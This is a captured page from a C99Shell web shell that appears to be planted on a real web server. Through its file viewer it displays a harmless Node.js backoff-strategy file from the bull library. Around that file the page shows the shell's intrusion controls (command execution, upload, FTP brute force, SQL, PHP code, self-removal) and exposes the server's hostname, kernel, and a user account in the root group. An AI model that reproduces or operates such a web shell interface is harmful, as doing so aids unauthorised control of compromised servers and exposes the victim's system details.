!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/rentals.picotech.app/public_html/node_modules/bull/lib/   drwxr-xr-x
Free 22.89 GB of 117.98 GB (19.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     backoffs.js (1.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
'use strict';

const _ = require('lodash');

const builtinStrategies = {
  fixed(delay) {
    return function() {
      return delay;
    };
  },

  exponential(delay) {
    return function(attemptsMade) {
      return Math.round((Math.pow(2, attemptsMade) - 1) * delay);
    };
  }
};

function lookupStrategy(backoff, customStrategies) {
  if (backoff.type in customStrategies) {
    return customStrategies[backoff.type];
  } else if (backoff.type in builtinStrategies) {
    return builtinStrategies[backoff.type](backoff.delay);
  } else {
    throw new Error(
      'Unknown backoff strategy ' +
        backoff.type +
        '. If a custom backoff strategy is used, specify it when the queue is created.'
    );
  }
}

module.exports = {
  normalize(backoff) {
    if (_.isFinite(backoff)) {
      return {
        type: 'fixed',
        delay: backoff
      };
    } else if (backoff) {
      return backoff;
    }
  },

  calculate(backoff, attemptsMade, customStrategies, err, strategyOptions) {
    if (backoff) {
      const strategy = lookupStrategy(
        backoff,
        customStrategies,
        strategyOptions
      );

      return strategy(attemptsMade, err, strategyOptions);
    }
  }
};

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--